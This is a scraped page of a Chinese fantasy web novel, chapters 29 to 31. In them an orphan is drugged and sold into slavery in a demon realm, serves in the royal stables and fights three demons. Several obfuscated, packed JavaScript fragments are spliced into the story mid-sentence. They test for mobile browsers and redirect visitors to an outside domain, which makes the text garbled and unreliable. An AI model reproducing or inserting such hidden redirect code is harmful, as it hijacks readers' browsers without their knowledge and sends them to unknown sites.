d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126473|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么时,头一阵发晕,困意袭来,恍惚道:“李叔,我好像有点困。” 他甩甩头想醒神,却一头扎下去,伏在桌上。 “没问题吗?”李婶担心地盯着熟睡的瞿无涯,“不会醒来吧。” “不会的。”村长摇头,“我下了三人的量。陈叔说无涯受了重伤,再加上有药剂,不可能醒那么快。趁天黑,我抓紧时间把他送过去。” 李婶捂住脸,泪水从指缝滑落,道:“真是造孽啊。” 翌日,陶梅到瞿无涯的院中没看见人影,以为他是去看遥幽了,便到陈爷爷那问。 一问才知瞿无涯没回来过。那应该是宿在了村长家,她便鬼鬼祟祟在一旁看情况——毕竟是逃过婚的关系,直接上门有些尴尬。 没逮到瞿无涯,倒是逮到李奇胜。 面对长辈会尴尬,但她对上李奇胜可毫不心虚。她拉住李奇胜,问道:“喂,李奇胜,无涯呢?” “他走了。”李奇胜神情慌乱,想甩开陶梅。 要知道李奇胜从来是巴不得缠着她,这肯定有鬼,她手上用力抓紧,语气严肃:“他去哪了?” “我怎么知道他去哪了?”李奇胜烦躁道,“可能又去找哪个妖了吧。” 妖?这倒提醒陶梅了,她质问道:“你不是要去妖界吗?我记得日子也要到了吧。”而且李奇胜那之后一直郁郁寡欢,闭门不出,今日怎么有心情出门了? 本以为这村里只有陈爷爷和他们一家知道无涯回来的消息,不知这陶梅怎么又回来还知道了。 李奇胜把陶梅的手拽开,吼道:“关你什么事!” 一个可怕的想法浮现在陶梅脑海里,她颤抖道:“你们对无涯做了什么?你们把他送去使团那了?” “就因为他是一个孤儿,没有人会来追究责任是吗?所以你们可以为所欲为,做着牙人的行当?” 李奇胜崩溃地喊:“我也不想,可是我不想死,我真的不想死。” 这一切都太恶心了,陶梅“呸”一声,骂道:“你们这群孬货,自己不想死就送别人去死。” 对,遥幽,谁知道他们会对遥幽干什么。 “对了,你以前不是问我为什么不喜欢你,因为我就看不起你这种小人,知道吗?” 陶梅本要走,临了又回头补上一句。 “陈爷爷,陈爷爷。”陶梅喊道,“我把遥幽送回他家,借一下院子里的推车。” 陈爷爷迟疑道:“可是他现在这样,不方便移动吧。而且下了大雪,山路不好走。” “没关系,谁知道留在这人面兽心的村里会遭遇什么。”陶梅冷笑道,“死在外头也比死在这好。” 陈爷爷皱眉:“疯丫头又说什么疯话呢。” “您想知道我说什么疯话呀,去问尊敬的村长大人吧,问问他无涯去哪了。” “无涯不是说去找药医治半妖了吗?”陈爷爷道,“村长刚来这和老夫说的,而且村长还同意半妖留在村里医治了。” “哇,那真是谢谢他,那您再问一下李奇胜怎么还没去给妖当牛做马吧。” 陈爷爷神情凝重:“你的意思是......” “无涯的事我是管不到了。”陶梅眼眶发红,“但遥幽,我要照顾好。” 陈爷爷长叹一口气,道:“好,我写个药方,你每日按照药方给他熬药。” 越往山上走越冷,积雪也越多,陶梅艰难地推着车,脸冻得通红。好在狼不太怕冷。 硕大的山脉中,他们就像一个小黑点,缓慢地移动着。 雪天的到来,昭示着除夕将近,陶梅不由得悲观,也不知何年能再见到无涯。 还有遥幽,若是他一辈子也醒不来,那她死了,谁来照顾他呢? 29. 第 29 章 除夕夜,瞿无涯是在囚车上过的,和其余的九个奴隶,他靠在车壁上紧紧抱着膝盖取暖。 他醒来时,手上脚上全被镣铐锁住,为了减少意外的发生,这个锁链还有封住大半灵力的效果——就算是非修道者,也有可能会使用灵力,只是高不到哪去罢了——剩下一些灵力可以辅助干活。对修为高的人来说,可以强行突破桎梏,但他做不到。 周围都是和他一般被铐住的人,在他的询问下,有人好心告诉他这是使团。 瞿无涯并不傻,他一下就想通其中关窍。爱子心切的李叔把他卖了。也许是这段时间发生的事太多,他甚至没有多少伤心。 更多的是疑惑,这也是他天真的报应吗?关照了他十几年的李叔,变成青面獠牙的恶人。 可是,他怎么会对李叔生出提防之心呢?那是从小到大疼他、爱他的长辈。 若这不是他的错,那是谁的错?李叔吗?李叔对他的好不是假,卖了他也是真。只是,李奇胜是李叔的独子,李叔不想儿子就那样倒霉地去赴死。 那李奇胜又做错了什么吗?他固然不是什么多善的人,却也称不上是恶人,他为何就要遇到这种倒霉的事? 瞿无涯感到无力,那该怪谁呢?怪残忍霸道的妖族吗?几百年前,人族势盛时,遍地都是捉妖师猎杀妖族,只不过如今的地位翻转。 妖族有什么对人族宽容的理由吗? 可是他有不能走的理由,遥幽还沉睡,他得带遥幽去求医。他的叫唤引来侍卫,但他说出自己根本不是李奇胜后,换来的是一顿教训。 瞿无涯生生地受了三脚,他擦干嘴角的血。 回答他问题的好心人告诉他,这儿多的是说自己是误押的人,谁知真的假的。使团的人也根本不管这些,来了就算人头,总之人头对得上就行。 他们交换了姓名,对方叫越卓。 接下来,他和越卓上了同一辆囚车,往妖界而去。在两界相接处时,奴隶们开始被分类,往不同的地方而去。 他和越卓因年轻、相貌好,被分为上乘的奴隶去王都,所以他们还是跟着使团。 分完后,越卓的冷汗都流下来,道:“幸好是王都。” “王都好吗?”瞿无涯问道。 “相对好吧。”越卓苦中作乐,道,“王都是人族化较高的地方,起码不会被当作食物吃了。而且由于妖王推崇人族文化,那儿的妖明面上也不会太野蛮,少受点苦吧。” “凤休推崇人族文化?”瞿无涯讶异,凤休那副看不起人族的模样他可是记得。 “欸!你小声点,别直呼妖王名讳。”越卓解释道,“对,你要知道,在妖王还不是妖王的时候,妖界简直就是蛮荒之地,毫无秩序,一团乱麻。随后,妖王号集了众妖的心,仿人族一般建立起文明。” 瞿无涯很不屑,道:“那凤休不就是窃取我们人族的智慧吗?小偷,无耻。” 看见越卓一脸惊恐,他又道:“名字不就是给人叫的,有什么好忌讳的,凤休凤休凤休,我偏要叫。” 这段时间,在越卓印象中的瞿无涯都是沉默冷淡,笑都不怎么笑,更别提有什么情绪。除却一开始说自己是被人下药送过来时情绪有些激动,后被踹了三脚仿佛把他踹成哑巴了一般。 乍一提妖王,好似打开了什么开关,越卓赶紧捂住他的嘴,道:“这可是妖界,乱说话小心连王都还没到就死了。” 瞿无涯不想死,闷闷地闭上嘴。 侍卫甩着鞭子,吼道:“拉拉扯扯干什么呢,还不快回去!” 葬骨川的风阴冷,还带着一丝陈旧的血腥味,皑皑白雪铺满荒原,深深浅浅的脚印。平心而论,使团也没有苛待奴隶,他们可不想奴隶死在半路上没法交差。 瞿无涯有些冷,其实这个冬日很冷,但他今日才感觉到。浑浑噩噩地进妖界,身陷囹圄,他又是担心遥幽,又是茫然于长辈的算计。 越卓的一句“妖王”点醒了他,他不能再麻木下去,当下的状况是很糟糕,他才更需要打起精神去应对。 他伸出手虚握着胳膊,伤口已经结痂,新的血肉和疤痕将会生长。 妖族并不像人族有除夕夜的说法,对人族来说新年值得庆祝,但对妖族来说往后还有几百年。 因而王都大会才更像他们的除夕,所以这一路周围也有点喜庆的意味在。 每日定期都会有人给奴隶施净身术、净衣术,镣铐是完全没机会解开的。其实跑出去也没用,一个人族在举目无亲、完全陌生的妖界,活下去的可能性说不定比奴隶还小。 只不过为了保证人头,侍卫们还是看得很紧。若是能跑,瞿无涯也不是毫无自保手段,他不怕在妖界中行走。 王都大会是三月,但从十二月开始,王都便众妖云集也包括人族的使者。因是特殊的年份,使者都是从四大家族中任选一家为代表。 使团因人数繁多,如押送的奴隶、进贡的美人还有献艺的舞姬等等,所以是在使者之后才到达。今年的西州使者是诸家家主诸文义,携其女诸眉人已经到达王都。 相比越卓的积极向上,就算当奴隶也要当过得好的奴隶,瞿无涯并不想太引人注目。 在最后会选时,瞿无涯把脸抹得黑不溜秋,被安排去马房——在人族叫马厩,但妖嫌“厩”太生僻不好念,就管叫马房了。而越卓如愿去了王宫,不管什么地方,总归是越接近权力中心越好,就算是当狗,当养马的狗和妖王的狗还是不一样的。 在一开始,瞿无涯抱过希望,能不能借钟离的关系请诸眉人帮忙,尽管很厚脸皮,但总不能就这样无所作为。他要找到机会。 只是奴隶根本没有人身自由,且每日的活压得他筋疲力尽,从喂养马匹到清洁马房、工具,还要搬运草捆、谷物袋。 伙食也很差,这倒不是妖族刻意苛待,只是妖无需像人族一般讲究进食,只有有地位的妖才会去弄人族的菜品去招待客人。 甚至有妖认为人吃草就能活。对,他们的马监就这样抱怨过人太难伺候,马吃草能活,为何人不可以? 妖族本也是没有骑马的习俗,只是妖王喜欢,就建了一个马房,冷清得很,基本上没有妖会来。 对于马房的奴隶来说,不用和太多妖打交道,小命保住的机率大,脏、苦一些也是可以忍受的。 “乌鸦,今日竟然有饭。” 对,现在瞿无涯有了一个奴隶名叫“乌鸦”,每一个奴隶都要抛弃原来的名字,取一个低贱上口的名字供主人叫唤。马监的原话是“什么去无牙,就叫乌鸦”。 说话的正是他的同僚鹦鹉,说实话比起叫“鹦鹉”,他还是宁愿叫“乌鸦”。 对于鹦鹉发出是感叹,他也深有同感,妖族和原始人似的,天天就给他们吃果子。 准确来说,这也不算饭,而是一堆白粥。瞿无涯添了一碗,尝一口,道:“半生不熟的。” 鹦鹉十分知足,道:“有就不错了。我已经一年没尝过米饭的味道了。” “你是去年来的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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做完这一切,他又远离墨影,往一旁的井口走去,打水清洗伤口。接下来他的手会痛上好些天,也许还会因为要干活伤害到伤口,但那都无所谓。 凤休没察觉异常,他和这任“墨影”没见过,他都十几年没回过王都。他的每一匹马都叫墨影,是马监从人族进贡的汗血宝马中挑选一匹黑色的,墨影的狂躁被他以为是脾气暴。 等这一次王都大会结束,再回王都就不知是何年何月,至少得看看这任“墨影”才行。 凤休踩上马鞍,坐好,抓着缰绳,在马场试骑。 可墨影却越发狂躁,他毫不在意地尝试驾驭墨影。 算起来,凤休也很久没骑过马,一时不察,马后仰,他被甩在空中,如墨的长发倒垂下来,几乎要和土地亲吻。 目不转睛的瞿无涯差点笑出声,等着看凤休出糗——但也没指望真能出糗,一个妖王难不成还能被马摔了,只是降伏不了区区一匹马有失妖王威严吧。 果不其然,凤休手中出现穿云枪,枪头被他钉在土地上,他借力稳住身形,在空中把颠倒的身体翻转正,站定。 凤休松开手,土中的穿云枪震动。 他皱眉,道:“又干什么?” 瞿无涯笑不出来了。 因为穿云枪拔地而起,直直地往他而来,枪头刺在他脚尖一寸的土地上。 一时间,整个马房的人和妖都看向他。 30. 第 30 章 这是在? 我招你惹你了,你要这样害我? 瞿无涯瞪着穿云枪,迅速装作被吓到的模样瘫坐在地上,再双手伏地,低头跪下。 穿云银光闪闪,凤休不知穿云又犯什么病,道:“回来。” 听见没,叫你回去。瞿无涯目光上抬,怒目而视。这总不能发现是他搞鬼吧,这只是一把枪。 穿云继续银光忽闪,似乎没有要动的意思。 是因为这个奴隶吗?凤休抱着手臂,走到穿云面前,道:“你想干什么?” 随着凤休的靠近,瞿无涯心如擂鼓,恨不得头埋到地里,视野里是深紫色、绣着银纹的下摆和褐色的筒靴。 乍听这句话,他还以为在问自己,还好他方才去马粪旁边熏了一下,保证凤休觉得不想在他身边多待。 穿云插秧似的往地里插了三下,凤休闻到一丝血腥味,以为穿云是想见血,聚起灵刃往手掌一划,滴到在枪身上。 他又施法将伤口愈合,低头道:“把手伸出来。” 瞿无涯莫明,做贼心虚地抬起没受伤的手,组成锁链的铁块碰撞发出沉闷的声音。 “另一只。” 凤休的语气不耐烦。 这是发现了吗?瞿无涯老实地伸出手,泥土混合在伤口上,修长的手指,清晰的骨节,原本是一只称得上好看的手,但泥泞让手显得脏兮兮。 凤休抬手,一团红光融进瞿无涯的手掌中,伤口霎那间愈合。 一人一妖一枪心思各异。 这是何意?凤休有这么好心吗?帮一个奴隶治疗伤口?瞿无涯脑袋中三连问,似乎也说得过去。凤休做事随心所欲,但在相关的事情上还是愿意多花精力——相关,一个马奴有什么相关。 凤休当然不是出于好心,伤口愈合,这下穿云不会对这点血腥味恋恋不舍了。 对于这个结果,穿云也很满意。穿云虽开灵智,但思维简单。 主人和夫人吵架了,得帮他们和好。 夫人来了,提醒一下主人。 夫人怎么受伤了,主人帮夫人医治,主人和夫人和好了。 穿云乖乖地回去,凤休也没在意瞿无涯一言不发,只当这奴隶吓坏了。毕竟妖王威名在外,一个人族的小奴隶失态也是正常。 事后,浑身冷汗的瞿无涯被马监骂了一顿,念叨了一堆“要不是王上宽仁,你这等轻慢王上,早该千刀万剐”之类的话。 他左耳进右耳出,等马监走后,他挠挠头发。 鹦鹉心有戚戚,道:“我听说妖王性情残暴,今日一见,倒也不似传言中那般不讲情理。” “那你想错了。”瞿无涯道,“只是你没见到他草菅人命的时刻。” 好消息是,在凤休来过之后,乐萱也想起在马房还有一匹马。 一身粉红裘衣的乐萱牵着红雪走向马场,瞿无涯在红雪的视野盲区和视野内频繁地游走。 红雪发出几声嘶鸣,乐萱奇怪地抚摸红雪的头,想让它放松。红雪却越发暴躁,马监见了直冒汗,红雪的性情温顺,这种情况他也是第一次碰到。 说是马监,实则一点也不了解马。 “萱少主,定是伺候马的奴隶们不上心,惹红雪气恼。”马监怒道,“下官这就替您教训他们。” 马监拿出鞭子,就要去抽离得最近的鹦鹉。 鞭子挥在空中,鹦鹉下意识闭上眼。 瞿无涯抓住鞭子,这鞭是带了灵力的,他的手心火辣辣地疼,道:“大人,萱少主,息怒,让奴试试。” 马监正要发作,乐萱饶有兴致地看着他:“你来。” 瞿无涯的手放在马髻甲处,指尖安抚,呼吸平缓。慢慢地,红雪安静下来,半闭上眼,鼻子上的褶皱也舒展开。 “你叫什么名字?”乐萱问道。 瞿无涯半低着头:“乌鸦。” 乐萱指尖聚着红光,往他脸上一拂,褪去灰头土脸,露出他原本的面容。 “长得这么好看,怎么会分到马房?” 她说这话也不是让人回答,笑眯眯道:“这下让我捡到漏了,你等下跟我回府。” “多谢少主垂青。” 瞿无涯心情复杂,他费尽心思想引起乐萱注意,结果一张脸就直接解决了?那他的努力算什么? 这倒也是,他自小因相貌好,招长辈喜欢,才能顺利地吃百家饭。 只是,从他走出碧落村,就很少有相貌优势的时刻。毕竟,生死关头谁关心相貌。 就这样,瞿无涯顺利进入城主府。乐萱给他布置了一大堆衣物,让他每日不重样地穿。 日子比在马房轻松,但仍然没有自由。他想,一步步来吧。 相处下来,瞿无涯也对乐萱有了大概的了解。乐萱脾气一般,但对下人称不上苛刻。只是当她的追求者纠缠她时,言语行动都会很不客气。 简单来说,就是别惹她。 她平日里没什么正事,经常是和朋友们出去玩,修炼的事也不算上心。尽管带回瞿无涯,也从不带他出府,在府内倒是会让他在身边服侍。 在妖族眼中,奴隶只是用来取乐的,和贴身侍从还是有区别的。 只是有一点,乐萱不太理解人族文化。 “三人成虎?三个人为什么会变成老虎?”乐萱拿着一本书,问道,“乌鸦,你是人族的,你知道这什么意思吗?” “少主,这是一种比喻。比如街上三个说有老虎,那大家都会误以为真有老虎,是形容流言的可怕。” 瞿无涯虽算不上知识渊博,但基础的东西还是知晓的。 “哦。”乐萱诚实道,“我不太懂这个,但王上喜欢有文化的妖。我爹就让我多学习。” 瞿无涯笑道:“那若少主需要,我可以为少主解答。”乐萱也不太在乎尊卑,没有一定让他自称“奴”。 这之后,乐萱就常常来请他解答,看他的目光也越来越崇拜,这让他心虚得不行。 要知道,他的水平在人族里再普通不过,谁让这妖界根本没几个读书人。 如今,王都城中传开了一个消息,萱少主养了一个奴隶,天天待在一起,喜欢得不行。 “一派胡言。”乐萱用了刚学的成语,甜甜地笑,“这就是一派胡言,三人成虎,无稽之谈,空穴来风,对吧?” 乐萱倒没觉得和一个奴隶传绯闻被羞辱了,据她观察,乌鸦和一般的奴隶不同。乌鸦尊重她却不惧她。 她见过的大多数奴隶都是毕恭毕敬,头也不敢抬,偶尔也有出格、大概是活腻了的奴隶。乌鸦介于两者中间,他表现出来的态度像是和她地位平等一般,却不冒犯。 这很有意思,乌鸦和她见过的人都不一样。乌鸦的这份坦然不是因为无知也不是因为自信,大概是一种与生俱来的天赋,和他相处很舒服。 瞿无涯点头:“对。” 偶尔,乐萱会让他想起魇箬,也许妖族的女子是一脉相承的明艳大方。只是乐萱并没有魇箬那么疯癫,大概是读过书的缘故,他略有刻薄地评价着。 当事人知晓是假的,但乐萱的追求者可不这么觉得。城主手下的妖尉有不少倾慕乐萱,有些是爱慕乐萱的相貌,有些则是冲着城主女婿的身份来。 “你就是那个乌鸦?” 说话的正是妖将天瑞,他身后跟着两个小弟正翼和飞獐。之前瞿无涯见他们来找过乐萱——天瑞送猎物给乐萱。 瞿无涯在扫地,乐萱倒没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126475|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他安排杂事做,妖族也不需要杂役,这些事物都可以用妖力解决。只是他有点闲,乐萱最近似乎有些忙,学习的时间也变少。 他也不用端茶倒水,陪读陪聊。 “不是。” 这话一出,三个妖都有些发愣。 飞獐反应最快,道:“你撒谎,你就是乌鸦。” “这不是知道吗?”瞿无涯捏着扫柄,不咸不淡地道。 正翼怒道:“大哥,你看他,仗着少主宠爱,无法无天了!” 天瑞冷哼一声:“少废话,区区一个奴隶,也敢和本尉叫嚣。” 又不是人族的将尉,妖界的将尉和批发差不多了,一个妖将手下至少有几百的妖尉。 瞿无涯自知是个奴隶,尽管和乐萱相处得挺好,但这不代表他在乐萱那的分量有多重。在经历这么多事后,他不会再妄想能和妖交朋友,还是在身份悬殊的前提下。 若他真出什么事,乐萱未必会替他做主。 正翼一脚踢向瞿无涯的腿弯,想迫使他跪下。他侧身躲过,道:“打狗也要看主人,你们这样,不怕少主生气吗?” “哼,萱萱今日有事,可不会那么早回来。”天瑞也不傻,道,“我就是要把你杀了,难不成萱萱还会为了你一个死掉的奴隶来责罚我吗?” 原以为这三只妖都不太聪明,才会武力来解决问题。没想到这是一出秀才遇到兵,是的,尸体是没有价值的。乐萱就算恼怒,也挽回不了他的性命,天瑞也不可能会因为一个奴隶的死付出生命的代价。 瞿无涯冷着脸,他的性命就是如此轻微。连小石头落入河中都会有声响,他却总是要无声无息地消失一般。 天瑞知晓乐萱的行踪,也就是说乐萱身边有人通风报信。跟在乐萱身边的侍从是一男一女,男子叫璘玟,女子叫辛觅。 现在的灵力连干马房的活都吃力,别提唤出四海剑了。瞿无涯双手握着扫帚,抬起,道:“我要清扫垃圾,你们不走,看来是自我认知存在错误。” “说什么废话呢。”天瑞双手握拳,摆出攻击的姿势,“给我上!” 飞獐是唯一一个听懂瞿无涯在说什么的,怒道:“大哥,他的意思是我们都是垃圾。” “什么?”正翼怒了。 妖族大多数是不爱用武器,面前这三个就是肉搏派。瞿无涯想象着自己握着一把剑,迎着天瑞的拳头。 想象是美好的,现实是残酷的,高人能使废铁如宝剑是因为修为高深。 扫帚头如同被无数细小的刀刃割裂着,四处飞溅,足以可见这拳的威力。 瞿无涯当机立断,放下扫帚,拿锁链横在中间。拳头与锁链相击,锁链出现细小的裂缝。 他一喜,天瑞拳头的力量真的能对锁链造成影响。 接下来他每接的一招一式都用锁链去挡,脸上还是不可避免地被拳头擦到几下。 红肿迅速附上他的脸,他往一边“呸”出嘴中的血。 扫好的垃圾被打散,瞿无涯皱着眉。 天瑞被瞿无涯接了几招,正恼火,看见俩小弟还在一旁观战,道:“愣着干什么!给我抓住他!” 三打一本就劣势,何况对方还是妖族。好在他们明显没有经过训练,打架的招式可以说出自本能,瞿无涯吃力地闪避着,不至于让自己彻底承受他们攻击中蕴含的妖力。 腰腹、小腿都被击中,手撑着地才不至于躺在地上,他敢笃定腰上肯定青紫一块,也顾不得这些了。 飞獐和正翼也没把瞿无涯当回事,以为只是这个人族身体敏捷一些,像往常一样一妖在一边按着瞿无涯的手臂,让天瑞能尽情地发泄殴打。 天瑞得意一笑,抬脚就要踩下去:“受死吧!” 31. 第 31 章 瞿无涯抬起腿,用脚上的锁链圈住天瑞的腿,他的双腿交叠着,再一伸直。天瑞单脚没站稳,摔倒在地。 正翼和飞獐松开他,大喊:“大哥!”他们去扶天瑞。 瞿无涯摇摇晃晃地站起身,拍拍衣服的灰尘。 天瑞怒吼:“给我杀了他!” “哈哈。”瞿无涯笑着抱着手臂,不知怎的,也许是这三只妖难得的可笑,也许是他能感受到自己比之前强。总之,他由衷地、真心地笑了。 这种纯粹的喜悦,他很久没有体会到了。 飞獐抬手作刃,下劈,一股气流袭向瞿无涯。他想起之前遥幽也是这样保护他的,不会战斗,只能傻傻地使出全部的妖力。 他双手抓住锁链,捋直,抵着气流。 锁链不是护盾,自然挡不住攻击。瞿无涯被击飞在地,咳出的血从嘴角留下,发丝凌乱,但依旧在笑。 “他笑什么,疯了吗?”正翼不解。 “谁知道。”飞獐哼声道,“大概是今后没机会再笑了。” 锁链断了,有了灵力护体,瞿无涯感到身上的疼痛在慢慢褪去。他这次起身,站得挺拔,手中剑铮鸣嘹亮。 一番打斗让他脸庞灰扑扑,微笑:“是怕以后你们没机会看我笑了。” 三妖都被这句话激怒,天瑞被拉起,他们浑身凝着灵力,红光忽闪。 “这小子好生嚣张!” “上!” 单凭修为,瞿无涯是不敌他们,只是他们的打法没比遥幽好上多少,顶多多一点近身搏斗的经验。 妖的身体确实坚韧,配上灵力的加持,瞿无涯的剑一时间只能轻轻割破他们的肌肤。这一刻他懂了钟离柏对武器的追求。 问题不大,给剑输点灵力弥补一下先天不足。 飞獐被踹到墙边,溅起一地灰,胸口闷痛。 正翼和天瑞俱是一忧,道:“飞獐!你怎么样了?” “没事。”飞獐捂着胸口,“你们不用管我。杀了他!” 瞿无涯的呼吸也乱了,握剑的手却还稳当。他冷漠地扫过三妖,周身气流翻涌。 他想起自己第一次杀人,冰凉、沉寂的夜晚,人要杀他,他便杀人,是这个道理对么? 四海剑被掷向飞獐,就先解决最弱小的,再慢慢来。 远处一把剑飞来,撞断了四海剑的轨迹。 “你们在干什么?” 乐萱回来了,身后跟着璘玟和辛觅。 四声“少主”此起彼伏地响起。 瞿无涯被激醒,自己方才在做什么?飞獐对他生命不能造成威胁,他却想杀了飞獐。 这不是他。 世间弱肉强食,妖族强者为尊,他已经被这套法则伤害过,他的反抗方式就是被同化吗? 他要信奉适者生存的法则活下去吗?强者才有话语权,弱小则无法生存也无法决定自己的命运。 瞿无涯不要这样。 他想起原无名说人不一定要做对事。原来是这个意思。无论从什么方面想,杀了一个对自己有恶意的人,都是只有好处,都是正确的。 可是,因为他的错误,连累了遥幽,难道他就要这样拖累身边人吗?他眸色灰暗,道:“少主,他们要杀我,把锁链弄断了。” 乐萱眉毛一挑,道:“你功夫不错,怎么会沦落到当奴隶?” 这个乌鸦惊喜还挺多。能一个人打三个,想来不是只会点拳脚功夫的泛泛之辈。 “被坑了。”瞿无涯语调简短。 飞獐见乐萱回来,自知计划已经失败,跪下道:“少主,飞獐是怕这奴隶玷污了您的名声。” 他是其他两妖的大脑,看他跪下,正翼也跪下。 “对啊,少主,您不知王都现在都在说您和人族奴隶厮混,背后非议您。” 天瑞身份高一些,仍站着,急道:“萱萱,他只是一个卑贱的奴隶,怎么配——” “你知道狗拿耗子下面一句是什么吗?”乐萱打断他。 天瑞愣住,急得满头大汗:“呃,我......” 瞿无涯:“多管闲事。” 见瞿无涯插嘴,天瑞怒道:“轮到你说话了吗?” 乐萱笑了,微微歪头,步摇垂下来的珠玉清脆作响:“狗拿耗子的下一句是多管闲事。” 也不知道这群妖哪里来的自信敢追求她,是她平日里太好说话了吗?啊啊,换做从前,真是来一个杀一个。可惜王上不喜欢这么血腥的风俗。 “我错了,萱萱。”天瑞一个彪汉子,脸红得像桃子,“你别生气好不好?” “少主,您今日有要事才回来得晚一些吗?”瞿无涯问道。 “嗯,你怎么知道?” “天瑞妖尉告诉我的。”瞿无涯冷静下来,先解决当前的事,四海剑被他收起来。 乐萱这下回头了,看着璘玟和辛觅,道:“谁通风报信?自己站出来,可以留活口。” 还出了内贼,是不是这些年太安逸,随便哪来的阿猫阿狗都开始蹬鼻子上脸了? 璘玟神色惊慌,犹豫半响,还是跪下,道:“属下该死,属下财迷心窍,收了天瑞妖尉的钱,这才胆大包天地做出这等糊涂的事。” 乐萱也不含糊,拿起剑在璘玟的大腿上一边刺了一下,璘玟发出痛苦的哀嚎。 接下来是手臂,刺穿。瞿无涯看着都肉疼,乐萱却习以为常的模样,微微笑着。这让他想起魇箬。也不知道钟离和原大哥怎么样了,但肯定比他过得好吧。 “还不快滚,我数三下,从此消失在我的视野里。三,二,一。” 因腿脚不便,璘玟可以说真是滚出院子的。 “你们三个,自己去刑堂领法。” 乐萱凑近打量瞿无涯,从灰血相间的脸到破烂的衣服,问道:“受伤没?” “小伤。”瞿无涯答道。 “看来你不仅能当我的文先生,还可以当我的武先生。” 乐萱没有提锁链的事,瞿无涯摸不准她是怎么想的,道:“少主过奖。” “锁链断了就断了,你以后就跟在我身边吧。”乐萱笑眯眯的,“我最近有些忙,都没时间学习了,你功夫尚可,跟着我还能教我成语。” 这是好事也是坏事,灵力恢复有更大的可能性逃走,但跟着乐萱,又没那么好走。 无论如何,他会找到机会的。 瞿无涯:“多谢少主。” “乌鸦,你有听说过神仙丸吗?”乐萱边走进房内边问道,“不管是在妖界还是人界。” 神仙丸?瞿无涯摇摇头:“我只听过神仙骨。” “谁不知道神仙骨?”乐萱哂笑。 我以前就没听说过。瞿无涯也没有反驳见多识广的萱少主,道:“少主问这个做什么?” “最近王都有人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126476|180071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖这个神仙丸。”乐萱收起笑容,一副头痛的模样,“这东西,能刺激经脉,说是可以增强修为。可天下哪有那么好的事,已经死了好几个妖了,我最近就是在查这件事。” “既然会死,为什么还有妖去买?” “妖界以实力论高下,谁不想修为大增来获取地位。”乐萱解释道,“而且致死率也并非百分百,大概都以为自己不会是那几个厄运儿吧。总之,这个药肯定是利大于弊的。就算没有副作用,弄出这神仙丸的幕后人,王上也需要清楚。” “城主府,就是王上在王都的眼睛。” 凤休自己没长眼吗?瞿无涯漠然地腹诽。 “要查这件事,就要从神仙丸的目的查起吧。若按你说的,这个神仙丸是个邪药,那贩卖它的目的就不一定是为了敛财,也有可能是想在王都引起乱子。” 乐萱点点头:“你说的对,如今各地的妖众聚集王都,谁知道他们想搞什么鬼。” 不管什么乱子,都和他没关系。瞿无涯开始计划出逃成功后,怎么跨过瘴林、葬骨川回到南州。 妖族对奴隶的看管称不上严苛,也是因为奴隶就算出逃,也无法跨过瘴林。 瘴林在人族的记载中是一片死亡森林,四处环绕着瘴气。使团押送他们过来时,每七日就要服用药品以防瘴气入体。瘴气对自小在瘴林长大的妖是无效,但对他们这种脆弱的人族,就有可能致命。 如今他恢复了修为,也许能跨过瘴林。 翌日,王都又发现了一句尸体。瞿无涯和辛觅跟着乐萱去查探。 这是瞿无涯第一次见到王都的全貌,相比人族,建筑风格大多很粗糙,唯有一些瞧着年岁不久的建筑是工程精细。妖族大多坚守原本的建筑风格,王都已经是人族建筑样式最多的地方。 路上还有许多妖是维持原形,活像观赏野禽的地方。他默默观察着,可不能到时候出逃连路都认不清。 他们来到一个偏僻的院落,门是开着的,好几个妖兵在里面守着。为首的妖尉迎接他们,道:“少主,死状和那些服用了神仙丸的尸体一样。” “嗯。”乐萱应道,“我看看。” 尸体就在院中央,看样子是突发性死亡,屋内还有用了一半的残羹。也许出来拿什么东西。 乐萱蹲下,手搭上尸体的脉,一会道:“乌鸦,你来看看。”就让她看看乌鸦还有什么能力。 瞿无涯正划水呢,被点名:“是。”他蹲下,把脉。 心脏快速跳动,他打个激灵,吃惊地道:“这个尸体的经脉还活着?” “对,这就是神仙丸神奇的地方。”乐萱赞许地点头,“脉象上看,他气息已绝,却不知为何,经脉中还有灵力流动。” 经脉,对,遥幽的经脉死了。神仙丸可以刺激妖族的经脉,那会不会对遥幽也有作用。 瞿无涯心中欣喜若狂,面上不显,深呼吸,道:“这个神仙丸,确实神奇。” 